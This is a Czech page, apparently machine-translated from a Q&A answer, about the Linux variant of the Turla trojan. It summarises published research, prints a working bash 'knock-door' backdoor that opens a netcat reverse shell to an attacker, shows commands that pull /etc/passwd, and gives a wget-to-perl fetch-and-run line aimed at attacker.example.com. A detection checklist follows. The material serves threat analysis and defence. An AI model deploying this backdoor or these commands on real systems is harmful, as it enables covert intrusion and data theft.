GNU/Linux >> Znalost Linux >  >> Linux

Trojan Turla založený na Linuxu

TURLA je poslední fází velké a sofistikované rodiny malwaru. Existují známé verze Windows minimálně od roku 2010. Tato 40stránková prezentace je nejkomplexnějším zdrojem, jaký jsem pro obě platformy viděl.

TURLA - vývoj a provoz

Některé přednosti systému Windows

  • Fáze 0:stádium útoku – vektor infekce
  • Fáze 1:fáze průzkumu – počáteční zadní vrátka
  • Fáze 2:laterální pohyby
  • Fáze 3:Přístup ke stanovené fázi –Nasazena TURLA
  • V každé fázi mohou skončit, pokud ztratí zájem o cíl

Fáze 0:Injekční vektory

  • Spear Phishing (CVE-2013-3346) (CVE-2013-5065)

  • Watering Holes [Adobe Update sociální inženýrství / exploity Java (CVE-2012-1723), Adobe Flash exploity nebo Internet Explorer 6,7,8 exploity]

  • Kompromis dodavatele třetí strany

Fáze 1:Fáze průzkumu

  • Počáteční zadní vrátka – WipBot/Epic/TavDig

  • WipBot je kombinací zero-day a exploitu CVE-2013-3346

  • Exportuje funkce se stejnými názvy jako TURLA. Žádné další podobnosti

  • Přeruší ladění a většinu malwarových karantén

  • Zpracujte přeskoky několikrát, vymaže vlastní sekci PE

  • Dále popsáno ve zprávě Kaspersky Lab

Fáze 2:Laterální pohyby

  • Upřesněte C&C

  • Dále proniknout do sítě

  • Využijte nová zadní vrátka

  • Získá přihlašovací údaje správce domény

Fáze 3:Turla

  • Vypuštěno na vybrané stroje pro dlouhodobý kompromis

  • Stroje mohou být ohroženy roky bez detekce





Další zdroje

  • 'Penguin Turla' – Kaspersky Lab (podrobnosti specifické pro Linux)

  • Zpráva Symantec – Turla





Nejdůležitější informace o Linuxu

  • Modul Turla napsaný v C/C++

  • Na základě cd00r

  • Spustitelný soubor je staticky propojen s více knihovnami

  • Jeho funkčnost zahrnuje skrytou síťovou komunikaci, libovolné vzdálené provádění příkazů a vzdálenou správu

  • Velká část jeho kódu je založena na veřejných zdrojích

  • Nelze být detekován pomocí netstat

  • Ne vyžadují přístup root

Spustitelné vlastnosti Linuxu

  • ELF 32bitový spustitelný soubor LSB, Intel 80386, verze 1 (SYSV), staticky propojený, pro GNU/Linux 2.2.5, zbavený

Staticky propojené knihovny Linuxu

  • glibc2.3.2 – knihovna GNU C

  • openssl v0.9.6 – starší knihovna OpenSSL

  • libpcap – síťová knihovna tcpdump

Podrobnosti C&C pro Linux

  • První stupeň C&C je pevně zakódován. Známá aktivita @ news-bbc.podzone[.]org

  • pDNS IP:80.248.65.183

Podrobnosti o spuštění/spuštění Linuxu

  • Proces vyžaduje dva parametry:ID (číselná hodnota používaná jako součást „magického paketu pro ověření“) a existující název síťového rozhraní

  • Parametry lze zadat dvěma různými způsoby:ze STDIN nebo z kapátka a spuštěním vzorku

  • Po zadání ID a názvu rozhraní a spuštění procesu se vrátí PID procesu backdoor

Linux Magic Packet

  • Staticky propojuje knihovny PCAP

  • Získá raw socket, použije filtr, zachytí pakety

  • Zkontroluje číslo ACK v hlavičce TCP nebo druhý bajt z těla paketu UDP

  • Pokud je podmínka splněna, provedení skočí na obsah užitečného zatížení paketu a vytvoří běžný soket

  • Backdoor používá nový socket pro připojení ke zdrojové adrese Magic Packets

  • Backdoor hlásí své vlastní PID a IP, čeká na příjem příkazů

  • Příchozí příkazy se provádějí pomocí skriptu "/bin/sh -c "

Závěrečné poznámky

Vše ohledně linuxové verze bylo ze zprávy Kaspersky. Bohužel se v tuto chvíli zdá být detekce velmi obtížná.

"Ačkoli bylo známo, že existují varianty Linuxu z rámce Turla, dosud jsme žádné ve volné přírodě neviděli." – Kaspersky Lab


Jak to funguje:

Krátký úvod

Abych našel způsob, jak je detekovat, důkladně jsem pracoval na konceptu a metodách.

Za tímto účelem jsem rychle napsal malý bash skript fungující přibližně stejným způsobem.

Odtud as některými dalšími znalostmi o konceptech Un*x zveřejňuji svůj kontrolní seznam, který by mohl pomoci najít tento funkční trojan v jakémkoli systému.

Bash přepsán Turla knock-door

Abychom pochopili, jak to funguje, napsal jsem toto:

(Toto musí být spuštěno na cílovém hostiteli, pomocí nějakého vzdáleného exploitu, virů nebo jinak.)

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP        # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # port listen on attacker host

while true;do
    while IFS=': ' read seq loci locp remi remp foo;do
        [ -z "${seq//[0-9]}" ] &&
            [ "$locp" == "$bport" ] &&
            [ "$remp" != "0000" ] &&
            myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
            myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
            chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
            [ "$chksum" == "$myIpSum" ] &&
            nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

To není zcela nezjistitelné ale...

Funkce

  • Zcela nezjistitelné pomocí netstat , a přitom poslouchat spojení útočníka.
  • Použijte [In->Out] jako [RANDOM->80] tcp portů, aby připojení vypadalo jako jakékoli surfování připojení.
  • Počkejte na konkrétní IP (hašovanou, takže nečitelná) na místním portu 22, bez pomocí promiskuitního ani nevyžaduje root privilegium
  • Jakmile detekuje příchozí připojení z konkrétní IP adresy (Zaklepejte! ), tím se otevře připojení k této IP na portu 80, aby vypadalo jako připojení pro surfování a nabídnout bash , zpět na toto připojení.

Poznámka: Skutečný trojský kůň mohl používat SSL a skutečné HTTP hlavičky, aby mohl fungovat i přes proxy!!

To přijímá 4 argumenty:

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
  • myIpSUm je hash of salted útočník IP adresa uživatele. Může být vykreslen pomocí md5sum <<<SaltMyIP192.168.1.31 (Sůl lze změnit ve skriptu).
  • KnockDoorPort -> bport je jakýkoli již navázaný port používaný na cílovém hostiteli (22 pro ukázku, pokud cíl slouží SSH, ale lze použít jakýkoli otevřený port)
  • myPort -> rport je port místního útočníka používaný pro příchozí připojení (80, aby vypadalo jako odchozí http připojení. Útočník samozřejmě musí být root na svém hostiteli!)
  • -i příznak lze použít ke spuštění bash interaktivně

Krok infekce

  1. Prvním krokem je spuštění tohoto skriptu pomocí libovolného vzdáleného exploitu, například shellshock nebo jakékoli přetečení vyrovnávací paměti .

  2. Za druhé, útočník musí znát IP adresu cíle, aby mohl poslat knock door na portu 22

  3. Použít od útočníkovu IP (jako root pro naslouchání na tcp portu 80), počkejte na příchozí připojení cíle.

  4. Jste logger v shellu na cíl!

    bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
         ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
    

Ukázka:

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

nebo

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

Není to tak snadné zjistit

Zatímco skript zůstává spuštěn na cílovém hostiteli a není otevřené žádné připojení útočníka, spuštěný skript není viditelný pomocí netcat .

Knock se provádějí jednou na portu 22, kde je časté selhání připojení pravidelné . Skutečné připojení shellu vypadá jako jakékoli odchozí připojení http.

Odpovědi:

  1. Jak se linuxové počítače nakazí

    Toto je trojský kůň , takže na této otázce opravdu nezáleží... (viz příklad Shellshock)

  2. Jde o nějakou eskalaci oprávnění, nebo se celá věc děje pouze pod infikovaným uživatelem (tj. uid 1000)

    Ne, jedním z cílů je umožnit útočníkovi hledat způsob, jak provést eskalaci oprávnění .

  3. Kde na infikovaném počítači „žije“ malwarový kód

    1. Všude a nikde:Pokud to spustíte jako přílohu, možná budete vědět, kde jste je uložili. Pokud je spuštěn ze vzdáleného exploitu, mohli by binární soubor po spuštění smazat.

    2. Pokud Turla je binární (zapsáno C), které mít být uložen někde ve vašem systému Un*x, se spustitelnými příznaky nastavenými pro spuštění. Nejnovější souborový systém umožňuje jejich odstranění po spuštění, ale inode musí zůstat nedotčeno!
      To by mohlo být odhaleno hledáním binárních souborů, které běží ve vašem systému, ale jsou umístěny ve standardním PATH .

    3. Pokud trojský kůň je skript, pouze binární soubor musí být propojen v souborovém systému, takže skript lze smazat nebo dokonce spustit jako STDIN a vůbec se neukládají.
      wget -qO - http://attacker.example.com/virus.pl | perl

  4. plus další zajímavé detaily

    Zkuste můj bash skript...

Kontrolní seznam (přidáno:2015-02-04)

  • Vyhledejte rozvětvený pids (kde Parent Pid ==1)

     grep PPid:\\s1$ /proc/*/status
    
  • Vyhledejte proces, který nelze spustit binárně z PATH

     for pid in $(ps axho pid);do
         readlink /proc/$pid/exe |
           sed 's/\/[^\/]*$//'|
           grep -q "^${PATH//:/$\|^}$" ||
             printf "%10d  %-16s  %s\n" $pid "$(
                 sed 's/Name:[\t ]*//;q' /proc/$pid/status
               )" "$(
                 readlink /proc/$pid/exe
               )"
       done
    
  • Hledat proces běžící po dlouhou dobu

     ps axho pid,etime,user,cmd
    

    ...

     ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
    
  • Skript:Vyhledejte způsob skrývání procesu:porovnejte exe a command line

     for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
         printf "%10d  %-40s  %s\n" $pid "$(
             readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
       done
    
  • Pomocí apparmor , můžete sledovat proces přístupu k zásobníku tcp (a/nebo zásobník udp ).

  • Pomocí tcpdump , existuje silná práce, ale efektivní řešení:

    Sledujte odchozí připojení, které vznese jakýkoli druh požadavku, stane se odpovědí není nezbytně ihned poté, ale odeslat další požadavek ihned po obdržení první odpovědi se nestarejte o odpověď na poslední požadavek:ukončí se při obdržení exit direktiva, která říká něco jako logout. , který by mohl být řízen jako poslední http požadavek aktuální relace , ale zavřete před obdržení jakékoli odpovědi http .

    Ve skutečnosti musíte najít odchozí připojení, kde výměna dat neodpovídá běžnému schématu odchozího připojení, ale hybridnímu schématu server-start - příchozí připojení - server-stop .

    Samozřejmě to musí být zachyceno protože žádné spojení není trvale otevřené.

  • Vytváření statistik systémových volání (pomocí apparmor)

    díky alphanetu za tento nápad

    Vytvořte statistiky pro každý běžící proces a

    Odešlete je do bayesovského nástroje pro výpočet běžných profilů

    Abychom byli upozorněni, když nový proces neodpovídá běžným profilům (nebo i při změně běžícího procesu).


Linux
  1. Jak Linux zachraňuje pomalé počítače (a planetu)

  2. Začněte s NetworkManagerem v systému Linux

  3. Linux – Jaké jsou hlavní rozdíly mezi operačními systémy založenými na Bsd a Linux?

  1. Podmíněně zahrnout fázi potrubí do skriptu Bash?

  2. Změňte rozložení klávesnice GRUB ve fázi 1

  3. Trojan Turla založený na Linuxu

  1. Linux – jak omezená je distribuce založená na Linuxu na Nokii N900?

  2. Dell Precision M4600 uvízl v poslední fázi restartu?

  3. Divné SSH, zabezpečení serveru, mohl jsem být hacknutý